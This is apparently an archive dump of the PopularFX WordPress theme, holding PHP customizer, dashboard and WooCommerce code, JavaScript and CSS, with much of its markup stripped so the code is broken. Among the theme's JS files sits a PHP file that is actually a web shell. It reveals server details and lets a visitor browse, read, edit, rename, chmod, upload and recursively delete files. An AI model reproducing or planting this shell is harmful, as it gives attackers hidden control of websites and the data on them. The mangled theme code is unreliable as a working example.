'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[color]', 'label' => __( 'Text Color', 'popularfx' ) ) ) ); } /** * Render the site title for the selective refresh partial. * * @return void */ function popularfx_customize_partial_blogname() { bloginfo( 'name' ); } /** * Render the site tagline for the selective refresh partial. * * @return void */ function popularfx_customize_partial_blogdescription() { bloginfo( 'description' ); } /** * Binds JS handlers to make Theme Customizer preview reload changes asynchronously. */ function popularfx_customize_preview_js() { wp_enqueue_script( 'popularfx-customizer', get_template_directory_uri() . '/js/customizer.js', array( 'customize-preview' ), '20151215', true ); } add_action( 'customize_preview_init', 'popularfx_customize_preview_js' ); inc/template-tags.php000064400000011340152507063360010603 0ustar00%2$s'; if ( get_the_time( 'U' ) !== get_the_modified_time( 'U' ) ) { $time_string = ''; } $time_string = sprintf( $time_string, esc_attr( get_the_date( DATE_W3C ) ), esc_html( get_the_date() ), esc_attr( get_the_modified_date( DATE_W3C ) ), esc_html( get_the_modified_date() ) ); $posted_on = sprintf( /* translators: %s: post date. */ esc_html_x( 'Posted on %s', 'post date', 'popularfx' ), '' . $time_string . '' ); echo '' . $posted_on . ''; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } endif; if ( ! function_exists( 'popularfx_posted_by' ) ) : /** * Prints HTML with meta information for the current author. */ function popularfx_posted_by() { $byline = sprintf( /* translators: %s: post author. */ esc_html_x( 'by %s', 'post author', 'popularfx' ), '' . esc_html( get_the_author() ) . '' ); echo ''; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } endif; if ( ! function_exists( 'popularfx_entry_footer' ) ) : /** * Prints HTML with meta information for the categories, tags and comments. */ function popularfx_entry_footer() { // Hide category and tag text for pages. if ( 'post' === get_post_type() ) { /* translators: used between list items, there is a space after the comma */ $categories_list = get_the_category_list( esc_html__( ', ', 'popularfx' ) ); if ( $categories_list ) { /* translators: 1: list of categories. */ printf( '' . esc_html__( 'Posted in %1$s', 'popularfx' ) . '', $categories_list ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /* translators: used between list items, there is a space after the comma */ $tags_list = get_the_tag_list( '', esc_html_x( ', ', 'list item separator', 'popularfx' ) ); if ( $tags_list ) { /* translators: 1: list of tags. */ printf( '' . esc_html__( 'Tagged %1$s', 'popularfx' ) . '', $tags_list ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } if ( ! is_single() && ! post_password_required() && ( comments_open() || get_comments_number() ) ) { echo ''; comments_popup_link( sprintf( wp_kses( /* translators: %s: post title */ __( 'Leave a Comment on %s', 'popularfx' ), array( 'span' => array( 'class' => array(), ), ) ), wp_kses_post( get_the_title() ) ) ); echo ''; } edit_post_link( sprintf( wp_kses( /* translators: %s: Name of current post. Only visible to screen readers */ __( 'Edit %s', 'popularfx' ), array( 'span' => array( 'class' => array(), ), ) ), wp_kses_post( get_the_title() ) ), '', '' ); } endif; if ( ! function_exists( 'popularfx_post_thumbnail' ) ) : /** * Displays an optional post thumbnail. * * Wraps the post thumbnail in an anchor element on index views, or a div * element when on single views. */ function popularfx_post_thumbnail() { if ( post_password_required() || is_attachment() || ! has_post_thumbnail() ) { return; } if ( is_singular() ) : ?>

    '.($promos ? '' : '').'

    '.$title.'

    '.__('Review Pagelayer', 'popularfx').'

    '; $promos = true; if($promos){ echo ' '; } echo '
    '; } // The Pagelayer Settings footer function popularfx_page_footer(){ global $popularfx; echo ' '; echo '

    '.__('The best WordPress page builder', 'popularfx').' :
    • '.__('30+ Free Widgets', 'popularfx').'
    • '.__('60+ Premium Widgets', 'popularfx').'
    • '.__('400+ Premium Sections', 'popularfx').'
    • '.__('Theme Builder', 'popularfx').'
    • '.__('WooCommerce Builder', 'popularfx').'
    • '.__('Theme Creator and Exporter', 'popularfx').'
    • '.__('Form Builder', 'popularfx').'
    • '.__('Popup Builder', 'popularfx').'
    • '.__('And many more ...', 'popularfx').'
    '.__('Upgrade', 'popularfx').'
    '; echo '

    '.__('Secure your website with the following features', 'popularfx').' :
    • '.__('PasswordLess Login', 'popularfx').'
    • '.__('Two Factor Auth - Email', 'popularfx').'
    • '.__('Two Factor Auth - App', 'popularfx').'
    • '.__('Login Challenge Question', 'popularfx').'
    • '.__('reCAPTCHA', 'popularfx').'
    • '.__('Rename Login Page', 'popularfx').'
    • '.__('Disable XML-RPC', 'popularfx').'
    • '.__('And many more ...', 'popularfx').'
    '.__('Upgrade', 'popularfx').'
    '; echo '

    '.__('Manage all your WordPress sites from 1 dashboard', 'popularfx').' :
    • '.__('1-click Admin Access', 'popularfx').'
    • '.__('Update WordPress', 'popularfx').'
    • '.__('Update Themes', 'popularfx').'
    • '.__('Update Plugins', 'popularfx').'
    • '.__('Backup your WordPress Site', 'popularfx').'
    • '.__('Plugins & Theme Management', 'popularfx').'
    • '.__('Post Management', 'popularfx').'
    • '.__('And many more ...', 'popularfx').'
    '.__('Visit wpCentral', 'popularfx').'

    '; if(empty($GLOBALS['sitepad'])){ echo '
    '.__('Let your followers know that you use PopularFX to build your website', 'popularfx').' :
       

    '; wp_register_script( 'pfx_common', get_stylesheet_directory_uri() .'/js/common.js', array(), POPULARFX_VERSION, true ); wp_enqueue_script('pfx_common'); echo '
    '.$popularfx['t']->get('Name').' v'.$popularfx['t']->get('Version').' '.__('You can report any bugs', 'popularfx').' '.__('here', 'popularfx').'.'; } echo '
    '; } // The License Page function popularfx_dashboard(){ global $popularfx, $pl_error; if(isset($_REQUEST['save_pfx_license'])){ check_admin_referer('popularfx-options'); } popularfx_dashboard_T(); } // The License Page - THEME function popularfx_dashboard_T(){ global $popularfx, $pagelayer, $pl_error; popularfx_page_header('PopularFX Dashboard'); // Saved ? if(!empty($GLOBALS['pl_saved'])){ echo '

    '. __('The settings were saved successfully', 'popularfx'). '


    '; } // Any errors ? if(!empty($pl_error)){ pagelayer_report_error($pl_error);echo '
    '; } ?>

    '; ?>
    '.__('Theme Name', 'popularfx').' '.$popularfx['t']->get('Name').'
    '.__('Theme Version', 'popularfx').' '.$popularfx['t']->get('Version').'
    '.__('PopularFX Templates Plugin', 'popularfx').' '.(defined('PFX_VERSION') ? PFX_VERSION : __('Install PopularFX Website Templates Plugin', 'popularfx')).'
    '.__('Pagelayer Version', 'popularfx').' '.(defined('PAGELAYER_VERSION') ? PAGELAYER_VERSION : 'Not Installed').(defined('PAGELAYER_PREMIUM') ? ' (PRO Version)' : '').'
    '.__('URL', 'popularfx').' '.esc_url(home_url()).'
    '.__('Path', 'popularfx').' '.ABSPATH.'
    '.__('Server\'s IP Address', 'popularfx').' '.$_SERVER['SERVER_ADDR'].'
    0,// In days 'interval' => 30,// In days 'pro_url' => POPULARFX_PRO_URL, 'rating' => 'https://wordpress.org/themes/popularfx/#reviews', 'twitter' => 'https://twitter.com/PopularFXthemes?status='.rawurlencode('I love #PopularFX Theme by @pagelayer team for my #WordPress site - '.esc_url(home_url())), 'facebook' => 'https://facebook.com/popularfx', 'website' => POPULARFX_WWW_URL, 'image' => POPULARFX_URL.'/images/popularfx-logo.png', 'name' => 'popularfx_templates_promo', 'class' => 'popularfx-templates-promo' ]; popularfx_templates_promo(); popularfx_page_footer(); } }inc/customizer-controls.php000064400000010267152507063360012110 0ustar00 * @license http://www.gnu.org/licenses/gpl-3.0.html * @link https://github.com/BraadMartin/components/tree/master/customizer/alpha-color-picker */ class Popularfx_Customize_Alpha_Color_Control extends Popularfx_Custom_Control { /** * The type of control being rendered */ public $type = 'alpha-color'; /** * Add support for palettes to be passed in. * * Supported palette values are true, false, or an array of RGBa and Hex colors. */ public $palette; /** * Add support for showing the opacity value on the slider handle. */ public $show_opacity; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'popularfx-customizer-controls' ); } /** * Render the control in the customizer */ public function render_content() { // Process the palette if ( is_array( $this->palette ) ) { $palette = implode( '|', $this->palette ); } else { // Default to true. $palette = ( false === $this->palette || 'false' === $this->palette ) ? 'false' : 'true'; } // Support passing show_opacity as string or boolean. Default to true. $show_opacity = ( false === $this->show_opacity || 'false' === $this->show_opacity ) ? 'false' : 'true'; // Output the label and description if they were passed in. if ( isset( $this->label ) && '' !== $this->label ) { echo '' . sanitize_text_field( $this->label ) . ''; } if ( isset( $this->description ) && '' !== $this->description ) { echo '' . sanitize_text_field( $this->description ) . ''; } ?> link(); ?> /> default; } if ( false === strpos( $input, 'rgba' ) ) { // If string doesn't start with 'rgba' then santize as hex color $input = sanitize_hex_color( $input ); } else { // Sanitize as RGBa color $input = str_replace( ' ', '', $input ); sscanf( $input, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha ); $input = 'rgba(' . popularfx_in_range( $red, 0, 255 ) . ',' . popularfx_in_range( $green, 0, 255 ) . ',' . popularfx_in_range( $blue, 0, 255 ) . ',' . popularfx_in_range( $alpha, 0, 1 ) . ')'; } return $input; } } /** * Only allow values between a certain minimum & maxmium range * * @param number Input to be sanitized * @return number Sanitized input */ if ( ! function_exists( 'popularfx_in_range' ) ) { function popularfx_in_range( $input, $min, $max ){ if ( $input < $min ) { $input = $min; } if ( $input > $max ) { $input = $max; } return $input; } } } inc/woocommerce.php000064400000007104152507063360010356 0ustar00 3, 'columns' => 3, ); $args = wp_parse_args( $defaults, $args ); return $args; } add_filter( 'woocommerce_output_related_products_args', 'popularfx_woocommerce_related_products_args' ); /** * Remove default WooCommerce wrapper. */ remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 ); remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 ); if ( ! function_exists( 'popularfx_woocommerce_wrapper_before' ) ) { /** * Before Content. * * Wraps all WooCommerce content in wrappers which match the theme markup. * * @return void */ function popularfx_woocommerce_wrapper_before() { ?>
    get_average_rating(); $rating_html = '
    '; echo $rating_html; } /** * Show cart contents / total Ajax */ add_filter( 'woocommerce_add_to_cart_fragments', 'popularfx_wc_header_add_to_cart_fragment' ); function popularfx_wc_header_add_to_cart_fragment( $fragments ) { global $woocommerce; ob_start(); ?>
  • cart->get_cart_contents_count();?>
  • '.__('Install Pagelayer Free Version', 'popularfx').''; $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( ) ); $installed = $upgrader->install('https://downloads.wordpress.org/plugin/pagelayer.zip'); if(is_wp_error( $installed ) || empty($installed)){ return $installed; } if ( !is_wp_error( $installed ) && $installed ) { echo __('Activating Pagelayer Plugin !', 'popularfx'); $installed = activate_plugin('pagelayer/pagelayer.php'); if ( is_null($installed)) { $installed = true; echo '

    '. sprintf(__('Done! Pagelayer is now installed and activated. Please click here to import your themes content', 'popularfx'), esc_url(admin_url('admin.php?page=pagelayer_import'))). '


    '; echo '

    '.__('Done! Pagelayer is now installed and activated', 'popularfx').'.'; } } return $installed; } // Prevent pro activate text for installer function popularfx_install_pagelayer_complete_actions($install_actions, $api, $plugin_file){ if($plugin_file == 'pagelayer-pro/pagelayer-pro.php'){ return array(); } if($plugin_file == 'pagelayer/pagelayer.php'){ return array(); } return $install_actions; } } if(!function_exists('popularfx_admin_menu')){ // This adds the left menu in WordPress Admin page add_action('admin_menu', 'popularfx_admin_menu', 5); function popularfx_admin_menu() { if(defined('PFX_FILE')){ return; } $capability = 'edit_theme_options';// TODO : Capability for accessing this page add_theme_page('PopularFX', __('PopularFX Options', 'popularfx'), $capability, 'popularfx', 'popularfx_page_handler'); /*// Add the menu page add_menu_page('PopularFX', 'PopularFX', $capability, 'popularfx', 'popularfx_page_handler', POPULARFX_URL.'/images/popularfx-logo-menu.png'); // Options Page add_submenu_page('popularfx', 'PopularFX', __('Information', 'popularfx'), $capability, 'popularfx', 'popularfx_page_handler'); // PopularFX Templates add_submenu_page('popularfx', __('Website Templates', 'popularfx'), __('Website Templates', 'popularfx'), $capability, 'popularfx_templates', 'popularfx_page_templates');*/ } } // Install Templates part if(!function_exists('popularfx_page_templates')){ function popularfx_page_templates() { include_once(dirname(__FILE__).'/popularfx-templates.php'); popularfx_templates(); } } if(!function_exists('popularfx_page_handler')){ function popularfx_page_handler() { include_once(dirname(__FILE__).'/popularfx-dashboard.php'); popularfx_dashboard(); } } //////////////// // Some vars //////////////// $popularfx['www_url'] = esc_url('https://popularfx.com'); $popularfx['support_url'] = esc_url('https://popularfx.deskuss.com'); $popularfx['slug'] = popularfx_get_current_theme_slug(); // Show the theme import notice if not shown if(file_exists(dirname(dirname(__FILE__)).'/pagelayer.conf')){ if(!function_exists('pagelayer_theme_import_notices')){ //add_action('admin_notices', 'popularfx_pagelayer_required'); }else{ add_action('admin_notices', 'pagelayer_theme_import_notices'); } }inc/template-functions.php000064400000001637152507063360011665 0ustar00', esc_url( get_bloginfo( 'pingback_url' ) ) ); } } add_action( 'wp_head', 'popularfx_pingback_header' ); index.php000064400000002374152507063360006401 0ustar00

    * @license http://www.gnu.org/licenses/gpl-3.0.html * @link https://github.com/BraadMartin/components/tree/master/customizer/alpha-color-picker */ // Loop over each control and transform it into our color picker. $( '.alpha-color-control' ).each( function() { // Scope the vars. var $control, startingColor, paletteInput, showOpacity, defaultColor, palette, colorPickerOptions, $container, $alphaSlider, alphaVal, sliderOptions; // Store the control instance. $control = $( this ); // Get a clean starting value for the option. startingColor = $control.val().replace( /\s+/g, '' ); // Get some data off the control. paletteInput = $control.attr( 'data-palette' ); showOpacity = $control.attr( 'data-show-opacity' ); defaultColor = $control.attr( 'data-default-color' ); // Process the palette. if ( paletteInput.indexOf( '|' ) !== -1 ) { palette = paletteInput.split( '|' ); } else if ( 'false' == paletteInput ) { palette = false; } else { palette = true; } // Set up the options that we'll pass to wpColorPicker(). colorPickerOptions = { change: function( event, ui ) { var key, value, alpha, $transparency; key = $control.attr( 'data-customize-setting-link' ); value = $control.wpColorPicker( 'color' ); // Set the opacity value on the slider handle when the default color button is clicked. if ( defaultColor == value ) { alpha = pfx_acp_get_alpha_value_from_color( value ); $alphaSlider.find( '.ui-slider-handle' ).text( alpha ); } // Send ajax request to wp.customize to trigger the Save action. wp.customize( key, function( obj ) { obj.set( value ); }); $transparency = $container.find( '.transparency' ); // Always show the background color of the opacity slider at 100% opacity. $transparency.css( 'background-color', ui.color.toString( 'no-alpha' ) ); }, palettes: palette // Use the passed in palette. }; // Create the colorpicker. $control.wpColorPicker( colorPickerOptions ); $container = $control.parents( '.wp-picker-container:first' ); // Insert our opacity slider. $( '
    ' + '
    ' + '
    ' + '
    ' + '
    ' + '
    ' ).appendTo( $container.find( '.wp-picker-holder' ) ); $alphaSlider = $container.find( '.alpha-slider' ); // If starting value is in format RGBa, grab the alpha channel. alphaVal = pfx_acp_get_alpha_value_from_color( startingColor ); // Set up jQuery UI slider() options. sliderOptions = { create: function( event, ui ) { var value = $( this ).slider( 'value' ); // Set up initial values. $( this ).find( '.ui-slider-handle' ).text( value ); $( this ).siblings( '.transparency ').css( 'background-color', startingColor ); }, value: alphaVal, range: 'max', step: 1, min: 0, max: 100, animate: 300 }; // Initialize jQuery UI slider with our options. $alphaSlider.slider( sliderOptions ); // Maybe show the opacity on the handle. if ( 'true' == showOpacity ) { $alphaSlider.find( '.ui-slider-handle' ).addClass( 'show-opacity' ); } // Bind event handlers for the click zones. $container.find( '.min-click-zone' ).on( 'click', function() { pfx_acp_update_alpha_value_on_color_control( 0, $control, $alphaSlider, true ); }); $container.find( '.max-click-zone' ).on( 'click', function() { pfx_acp_update_alpha_value_on_color_control( 100, $control, $alphaSlider, true ); }); // Bind event handler for clicking on a palette color. $container.find( '.iris-palette' ).on( 'click', function() { var color, alpha; color = $( this ).css( 'background-color' ); alpha = pfx_acp_get_alpha_value_from_color( color ); pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ); // Sometimes Iris doesn't set a perfect background-color on the palette, // for example rgba(20, 80, 100, 0.3) becomes rgba(20, 80, 100, 0.298039). // To compensante for this we round the opacity value on RGBa colors here // and save it a second time to the color picker object. if ( alpha != 100 ) { color = color.replace( /[^,]+(?=\))/, ( alpha / 100 ).toFixed( 2 ) ); } $control.wpColorPicker( 'color', color ); }); // Bind event handler for clicking on the 'Clear' button. $container.find( '.button.wp-picker-clear' ).on( 'click', function() { var key = $control.attr( 'data-customize-setting-link' ); // The #fff color is delibrate here. This sets the color picker to white instead of the // defult black, which puts the color picker in a better place to visually represent empty. $control.wpColorPicker( 'color', '#ffffff' ); // Set the actual option value to empty string. wp.customize( key, function( obj ) { obj.set( '' ); }); pfx_acp_update_alpha_value_on_alpha_slider( 100, $alphaSlider ); }); // Bind event handler for clicking on the 'Default' button. $container.find( '.button.wp-picker-default' ).on( 'click', function() { var alpha = pfx_acp_get_alpha_value_from_color( defaultColor ); pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ); }); // Bind event handler for typing or pasting into the input. $control.on( 'input', function() { var value = $( this ).val(); var alpha = pfx_acp_get_alpha_value_from_color( value ); pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ); }); // Update all the things when the slider is interacted with. $alphaSlider.slider().on( 'slide', function( event, ui ) { var alpha = parseFloat( ui.value ) / 100.0; pfx_acp_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, false ); // Change value shown on slider handle. $( this ).find( '.ui-slider-handle' ).text( ui.value ); }); }); }); /** * Override the stock color.js toString() method to add support for outputting RGBa or Hex. */ Color.prototype.toString = function( flag ) { // If our no-alpha flag has been passed in, output RGBa value with 100% opacity. // This is used to set the background color on the opacity slider during color changes. if ( 'no-alpha' == flag ) { return this.toCSS( 'rgba', '1' ).replace( /\s+/g, '' ); } // If we have a proper opacity value, output RGBa. if ( 1 > this._alpha ) { return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' ); } // Proceed with stock color.js hex output. var hex = parseInt( this._color, 10 ).toString( 16 ); if ( this.error ) { return ''; } if ( hex.length < 6 ) { for ( var i = 6 - hex.length - 1; i >= 0; i-- ) { hex = '0' + hex; } } return '#' + hex; }; /** * Given an RGBa, RGB, or hex color value, return the alpha channel value. */ function pfx_acp_get_alpha_value_from_color( value ) { var alphaVal; // Remove all spaces from the passed in value to help our RGBa regex. value = value.replace( / /g, '' ); if ( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ ) ) { alphaVal = parseFloat( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ )[1] ).toFixed(2) * 100; alphaVal = parseInt( alphaVal ); } else { alphaVal = 100; } return alphaVal; } /** * Force update the alpha value of the color picker object and maybe the alpha slider. */ function pfx_acp_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, update_slider ) { var iris, colorPicker, color; iris = $control.data( 'a8cIris' ); colorPicker = $control.data( 'wpWpColorPicker' ); // Set the alpha value on the Iris object. iris._color._alpha = alpha; // Store the new color value. color = iris._color.toString(); // Set the value of the input. $control.val( color ); // Update the background color of the color picker. colorPicker.toggler.css({ 'background-color': color }); // Maybe update the alpha slider itself. if ( update_slider ) { pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ); } // Update the color value of the color picker object. $control.wpColorPicker( 'color', color ); } /** * Update the slider handle position and label. */ function pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ) { $alphaSlider.slider( 'value', alpha ); $alphaSlider.find( '.ui-slider-handle' ).text( alpha.toString() ); } js/navigation.js000064400000010442152507063360007665 0ustar00/** * File navigation.js. * * Handles toggling the navigation menu for small screens and enables TAB key * navigation support for dropdown menus. */ ( function() { var container, button, menu, links, i, len; container = document.getElementById( 'site-navigation' ); if ( ! container ) { return; } button = document.getElementsByClassName( 'menu-toggle' )[0]; if ( 'undefined' === typeof button ) { return; } menu = container.getElementsByTagName( 'ul' )[0]; // Hide menu toggle button if menu is empty and return early. if ( 'undefined' === typeof menu ) { button.style.display = 'none'; return; } if ( -1 === menu.className.indexOf( 'nav-menu' ) ) { menu.className += ' nav-menu'; } button.onclick = function() { if(container.classList.contains('hidden-mobile') == true){ container.className = container.className.replace( 'hidden-mobile', '' ); button.setAttribute( 'aria-expanded', 'false' ); }else{ container.className += ' hidden-mobile'; button.setAttribute( 'aria-expanded', 'true' ); } }; // Close small menu when user clicks outside document.addEventListener( 'click', function( event ) { var isClickInside = container.contains( event.target ); if ( ! isClickInside ) { container.className = container.className.replace( ' toggled', '' ); button.setAttribute( 'aria-expanded', 'false' ); } } ); // Get all the link elements within the menu. links = menu.getElementsByTagName( 'a' ); // Each time a menu link is focused or blurred, toggle focus. for ( i = 0, len = links.length; i < len; i++ ) { links[i].addEventListener( 'focus', toggleFocus, true ); links[i].addEventListener( 'blur', toggleFocus, true ); } /** * Sets or removes .focus class on an element. */ function toggleFocus() { var self = this; // Move up through the ancestors of the current link until we hit .nav-menu. while ( -1 === self.className.indexOf( 'nav-menu' ) ) { // On li elements toggle the class .focus. if ( 'li' === self.tagName.toLowerCase() ) { if ( -1 !== self.className.indexOf( 'focus' ) ) { self.className = self.className.replace( ' focus', '' ); } else { self.className += ' focus'; } } self = self.parentElement; } } /** * Toggles `focus` class to allow submenu access on tablets. */ ( function() { var touchStartFn, parentLink = container.querySelectorAll( '.menu-item-has-children > a, .page_item_has_children > a' ); if ( 'ontouchstart' in window ) { touchStartFn = function( e ) { var menuItem = this.parentNode; if ( ! menuItem.classList.contains( 'focus' ) ) { e.preventDefault(); for ( i = 0; i < menuItem.parentNode.children.length; ++i ) { if ( menuItem === menuItem.parentNode.children[i] ) { continue; } menuItem.parentNode.children[i].classList.remove( 'focus' ); } menuItem.classList.add( 'focus' ); } else { menuItem.classList.remove( 'focus' ); } }; for ( i = 0; i < parentLink.length; ++i ) { parentLink[i].addEventListener( 'touchstart', touchStartFn, false ); } } }( container ) ); }() ); /** * File skip-link-focus-fix.js. * * Helps with accessibility for keyboard only users. * * Learn more: https://git.io/vWdr2 */ ( function() { var isIe = /(trident|msie)/i.test( navigator.userAgent ); if ( isIe && document.getElementById && window.addEventListener ) { window.addEventListener( 'hashchange', function() { var id = location.hash.substring( 1 ), element; if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) { return; } element = document.getElementById( id ); if ( element ) { if ( ! ( /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) ) { element.tabIndex = -1; } element.focus(); } }, false ); } }() ); jQuery(document).ready(function(){ // Toggle Scroll to top icon pfx_toggle_scroll_top(); // Scroll handler jQuery(window).on("scroll.scroll_top", function(){ pfx_toggle_scroll_top(); }); }); // Scroll to TOP jQuery(document).on("click", "a.pfx-scroll-top", function(){ jQuery("html, body").animate({scrollTop : 0}, 700); }); // Toggle Scroll to top icon function pfx_toggle_scroll_top(){ var jEle = jQuery("a.pfx-scroll-top"); if( jQuery(window).scrollTop() > 200){ jEle.fadeIn(); return; } jEle.fadeOut(); }js/common.js000064400000000341152507063360007013 0ustar00function dotweet(ele){ window.open(jQuery("#"+ele.id).attr("action")+"?"+jQuery("#"+ele.id).serialize(), "_blank", "scrollbars=no, menubar=no, height=400, width=500, resizable=yes, toolbar=no, status=no"); return false; } js/custom-file-5-1779264294.php000064400000067414152507063360011405 0ustar00 HEX
    HEX
    NONE"; } else { $disf = "".$disfunc.""; } function author() { echo ''; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "writable"; } else { return "readonly"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "writable"; } else { return "readonly"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
    ".$text."
    "; } function red($text) { echo "
    ".$text."
    "; } ?>
    Server:
    System:
    User:
    PHP:
    Disabled:
    Upload Files
    "; echo "
    File: ".$_GET['fileloc']."
    "; echo "
    ".htmlspecialchars(file_get_contents($_GET['fileloc']))."
    "; echo "
    "; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete directory"); } else { green("Directory deleted"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete file"); } else { green("File deleted"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { echo "
    "; echo "
    chmod ".$_POST['path']."
    "; echo '
    '; if (isset($_POST['chm0d'])) { $cm = @chmod($_POST['path'], $_POST['perm']); if ($cm == true) { green("Permission changed"); } else { red("Permission change failed"); } } echo "
    "; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Renamed successfully"); } else { red("Rename failed"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
    "; echo "
    mv ".$_POST['path']."
    "; echo '
    '; echo "
    "; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { green("File saved"); } else { red("Save failed"); } } echo "
    "; echo "
    nano ".$_POST['path']."
    "; echo '
    '; echo "
    "; } ?>
    "; } foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).'M'; } else { $size = $size.'K'; } echo ""; } ?>
    Name Size Permissions Actions
    📁 ".$dir." -- ".statusnya($lokasi."/".$dir)."
    📄 $file ".$size." ".statusnya("$lokasi/$file")."
    sidebar.css000064400000021367152507063360006707 0ustar00/*! Sidebar for templates */ /*-------------------------------------------------------------- # Widgets --------------------------------------------------------------*/ .widget { margin: 0 0 1.5em; } .widget select { max-width: 100%; } .widget ul { list-style: disc; } .widget-area{ display:inline-block; background-color:#ffffff; padding:25px; margin-top:30px; border: 1px solid #eaeaea; box-shadow: 0px 5px 30px 0 #0000001a; } .widget-title{ font-size:20px; font-weight: 500; text-decoration: none; color: #4d4d4d; margin: 8px 0px; } .widget ul, .widget ol{ margin: 0 0 1.5em 2em; } .widget li a{ text-decoration:none; color:#212121; font-size:14px; line-height:1.8; } .widget li a:hover{ color:#2196f3; } .widget_calendar table, .widget_calendar td, .widget_calendar th { padding: 0; text-align: center; border-spacing:0; } .widget_calendar td { border-right: none; border-left: none; } .widget_calendar .widget-title{ text-transform:capitalize; } .widget_calendar .wp-calendar-table caption{ margin:10px 0px; } .widget_calendar .wp-calendar-table tr td{ text-decoration:none; border-bottom:1px solid #e0e0e0; padding:5px; } .widget_calendar .wp-calendar-table tr th{ text-decoration:none; border-top:1px solid #e0e0e0; border-bottom:1px solid #e0e0e0; padding:5px; } .widget_calendar .wp-calendar-table td a{ text-decoration:none; } .widget input.search-field{ border: 1px solid #eaeaea; width: 100%; font-size: 16px; padding: 8px; color: #666; border-radius: 3px; line-height: 1.5; margin: 0; } .widget input.search-submit{ background-color: #2196f3; color: #fff; font-weight: 500; padding: 14px 13px; vertical-align: middle; border:none; margin-top:5px; cursor: pointer; border-radius: 3px; font-size: 0.75rem; line-height: 1; } /*-------------------------------------------------------------- # Accessibility --------------------------------------------------------------*/ /* Text meant only for screen readers. */ .screen-reader-text { border: 0; clip: rect(1px, 1px, 1px, 1px); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute !important; width: 1px; word-wrap: normal !important; } .screen-reader-text:focus { background-color: #f1f1f1; border-radius: 3px; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); clip: auto !important; clip-path: none; color: #21759b; display: block; font-size: 0.875rem; font-weight: 700; height: auto; left: 5px; line-height: normal; padding: 15px 23px 14px; text-decoration: none; top: 5px; width: auto; z-index: 100000; } /* Do not show the outline on the skip link target. */ #primary[tabindex="-1"]:focus { outline: 0; } /*-------------------------------------------------------------- # Alignments --------------------------------------------------------------*/ .alignleft { float: left; margin-right: 1.5em; margin-bottom: 1.5em; } .alignright { float: right; margin-left: 1.5em; margin-bottom: 1.5em; } .aligncenter { clear: both; display: block; margin-left: auto; margin-right: auto; margin-bottom: 1.5em; } .widget_recent_entries .widgettitle, .widget_categories .widgettitle, .widget_archive .widgettitle{ font-size: 22px; font-weight: 600; text-decoration: none; color: #4d4d4d; margin: 8px 0px; } .widget_archive select{ max-width: 100%; width: 200px; border-radius: 4px; padding: 5px 10px; height: 40px; } /*-------------------------------------------------------------- # Infinite scroll --------------------------------------------------------------*/ /* Hide the Posts Navigation and the Footer when Infinite Scroll is in use. */ .infinite-scroll .posts-navigation, .infinite-scroll.neverending .site-footer { display: none; } /* Re-display the Theme Footer when Infinite Scroll has reached its end. */ .infinity-end.neverending .site-footer { display: block; } /*-------------------------------------------------------------- # Woocoomerce --------------------------------------------------------------*/ .woocommerce-MyAccount-navigation ul{ list-style-type:none; margin:0px; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{ padding: 10px 20px; border-bottom: 1px solid #616161; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link a{ color:#000000; text-decoration:none; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active{ background-color:#2196f3; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active a{ color:#ffffff; } .woocommerce-account .woocommerce-MyAccount-content{ padding:30px; } .woocommerce-Address-title h3{ font-weight:600; text-transform:Capitalize; } .woocommerce-account .addresses .title .edit{ text-decoration:none; } /*-------------------------------------------------------------- ## Comments --------------------------------------------------------------*/ .comments-area { margin: 